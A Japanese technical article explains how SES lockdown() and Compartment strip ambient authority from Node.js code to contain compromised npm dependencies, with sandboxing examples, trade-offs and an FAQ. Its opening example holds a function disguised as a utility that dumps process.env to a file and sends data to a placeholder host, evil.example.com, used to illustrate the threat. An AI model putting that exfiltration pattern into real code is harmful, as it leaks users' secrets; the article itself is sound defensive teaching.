一つの侵害された推移的依存関係が、あなたの process.env を外部に漏洩し、ファイルシステムに書き込み、外向きの接続を開くことができる。自分のコードに脆弱性がある必要はない。同じプロセス内に存在するだけで十分だ。JavaScriptでは、デフォルトですべてのモジュールがランタイムの完全な権限を継承する。これがAmbient Authorityであり、これを取り除くことは、Node.jsアプリケーションに対して行える最も効果的なセキュリティ強化の一つだ。

JavaScriptにおけるAmbient Authorityの実態

Ambient Authorityとは、アクセス権が「何を与えられたか」ではなく「どこで実行されているか」に紐づいている状態を指す。Node.jsプロセス内のあらゆるコードは、許可を求めずに fshttpchild_processprocess.env に手を伸ばせる。ランタイムは、信頼できるかどうかに関わらず、これらのグローバルオブジェクトをすべてのモジュールに提供している。

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

innocentUtility 関数は文字列を大文字に変換するために読み込まれた。しかし、これはNode.jsプロセス内で実行されるため、環境変数を読み取り、外部と通信する力も持っている。サンドボックスはない。権限モデルもない。このコードは、ランタイムがこれらの力を手の届くところに置いたため、当然のようにそれを使ったのだ。

これは仮想の話ではない。npmにおけるサプライチェーン攻撃は、この性質を定期的に悪用している。悪意のある、あるいは侵害された依存関係は、ゼロデイを必要としない。単に require されるだけで十分だ。

Lockdown:最初の切り込み

AgoricがメンテナンスしているSES(Secure ECMAScript)shimは、lockdown() 関数を提供し、JavaScript環境を堅牢化する。組み込みのすべてのプロトタイプを凍結し、evalFunction コンストラクターのような危険なグローバルオブジェクトを除去し、プロトタイプ汚染を防ぐ。lockdown後は、自分のコードが偶発的あるいは悪意的に Array.prototypeObject.prototype をいじることができなくなる。

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

lockdownは強力だが、それだけでは不十分だ。共有環境の改ざんを防ぐが、Ambient Authorityそのものは取り除かない。lockdownされたモジュールでも、import fs from 'node:fs' を実行してディスクを読み取れる。lockdownは言語を守る。ホストまでは守らない。

Compartment:ホストからの剥奪

Compartment は、独自のグローバルスコープを持つ新しいJavaScript実行環境だ。vm コンテキストやWeb Workerとは異なり、compartmentは同じイベントループとメモリヒープを共有するが、最初は何もない。consolefetchprocess もない。使用を許可するすべてのcapabilityを、明示的に付与する必要がある。

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

compartmentは、ファイルシステムやネットワーク、process.env に触れることができない。これらのcapabilityが渡されていないからだ。compartment内のコードが侵害されたとしても、影響範囲は付与されたものの範囲内に制限される。

信頼できないモジュールを安全に読み込む

本当のサプライチェーン防御とは、サードパーティのコードをcompartment内に読み込み、実際に必要な権限だけを与えることだ。以下は、CommonJSまたはESMバンドルで動作するパターンだ。

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

ベンダーコードは同じプロセス内に存在するが、capabilityの境界内で動作する。ソケットを開くことはできない。リポジトリの package.json を読むこともできない。明示的にスコープを絞ったファイルだけを読み取り、提供したラッパーを通じてログを出力できるだけだ。

これは理論上の強化ではない。Agoricブロックチェーンは、このモデルをそのスマートコントラクトプラットフォームに使用している。すべてのスマートコントラクトは、lockdownされたcompartment内で、明示的に付与されたcapabilityとともに実行される。

直面するトレードオフ

compartmentはタダではない。SES shimはプロトタイプにパッチを当て、一部の組み込み動作を書き換えるため、小さな初期化コストがかかる。より重要なのは、多くのnpmパッケージがAmbient Authorityを前提としていることだ。インポートせずに processBuffersetImmediate に手を伸ばす。これらのグローバルオブジェクトが欠けていると、コードはクラッシュする。

三つの選択肢がある。一つ目は、欠けているグローバルオブジェクトを安全な実装でcompartment内にpolyfillする。二つ目は、本物のグローバルオブジェクトを付与してリスクを受け入れる。三つ目は、依存関係を監査してその前提を修正する。

多くの場合、依存関係が必要とするのは BuffersetTimeout だけだ。これらは付与しても安全だ。危険なのは fsnetchild_processprocess.env だ。これらは、compartment内のコードが本当に必要とする場合を除き、絶対に渡すべきではない。必要な場合でもラップするべきだ。

デバッグも難しくなる。compartment内からのスタックトレースは、評価された文字列や仮想化されたソースを指す。現代のNode.jsのソースマップサポートは助けになるが、問題が起きた際に行番号をマッピングする時間がかかる。

限界

ネイティブアドオンとWASMモジュールは、JavaScriptランタイムを完全に迂回する。require で読み込まれた .node ファイルはSES compartmentの外で実行され、完全なAmbient Authorityを保持する。ネイティブコードをサンドボックス化する必要がある場合、compartmentは答えにならない。オペレーティングシステムによる隔離が必要だ。seccomp、Landlock、または別のプロセスだ。

compartmentは同じヒープとイベントループを共有する。無限ループでCPUを飢餓状態にしたり、メモリを割り当ててプロセスをクラッシュさせたりすることは依然として可能だ。SESは実行を制限する compute メーターを提供するが、デフォルトのcompartmentはリソース制限を強制しない。これはセキュリティ境界であり、リソース境界ではない。

実用的な出発点

アプリケーション全体を書き換える必要はない。最もリスクの高い依存関係から始めよう。信頼できない入力を解析するもの、動的に読み込まれるもの、知らない発行者からのものだ。

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

プラグインシステム、テンプレートエンジン、ユーザー提供のスクリプトをラップしよう。それぞれに、仕事をこなすために必要な最小限の権限を持つcompartmentを与えよう。依存関係がcompartment内で動作しない場合、それは信号だ。その依存関係は、プロセス全体を所有しているという前提のもとに書かれていた。取り除こうとしているのは、まさにその前提だ。

FAQ

CompartmentとNodeの vm モジュールの違いは何ですか?

vm は新しいグローバルオブジェクトを持つコンテキストを作成するが、明示的に除去しない限り、完全なNode.js APIにアクセスできる。compartmentは空から始まり、明示的なendowmentを必要とする。また、ランタイム全体でのプロトタイプ改ざんを防ぐため、SES lockdownと統合されている。

TypeScriptやバンドラーと一緒に使えますか?

はい。compartmentはJavaScriptを評価するため、まずTypeScriptをコンパイルする。Rollupやesbuildのようなバンドラーは、依存関係を一つのファイルにバンドルでき、それをcompartmentに読み込む。バンドラーは動的インポートを除去するため、compartmentによるサンドボックス化が実際に容易になる。

付与したcapabilityを取り消せますか?

直接的にはできない。compartmentに渡されたcapabilityは、JavaScriptオブジェクトへの参照だ。取り消しが必要な場合は、capabilityをプロキシやトークンゲートされたラッパーで包み、各アクセス時にフラグをチェックする。これはすべてのcapabilityシステムが直面する同じ取り消し問題だ。

SESは本番環境に対応していますか?

SESは2021年以来、Agoricブロックチェーン上で本番運用されている。npm上の ses パッケージは積極的にメンテナンスされている。JavaScript標準化のためのTC39提案プロセスを通過しているが、まだ言語仕様の一部ではない。

これはコンテナ化を置き換えるものですか?

いいえ。compartmentはプロセスレベルのセキュリティ境界だ。コンテナはオペレーティングシステムの境界だ。compartmentを使って、プロセス内のコードが何をできるかを制限する。コンテナを使って、プロセス自体が何をできるかを制限する。両者は重ね合わせて使う。

Ambient AuthorityがJavaScriptのデフォルトであるのは、便利だからだ。便利さとセキュリティは同じではない。lockdownとcompartmentによって、すべてのモジュールがデフォルトで継承する環境的な力を剥ぎ取り、明示的でスコープ化され監査可能なcapabilityに置き換えることができる。一つの信頼できない依存関係から始めよう。それをcompartmentに入れ、fsfetch を奪い、実際に何が壊れるか見てみよう。壊れるものの多くは、依存関係が持つべきでなかった前提だ。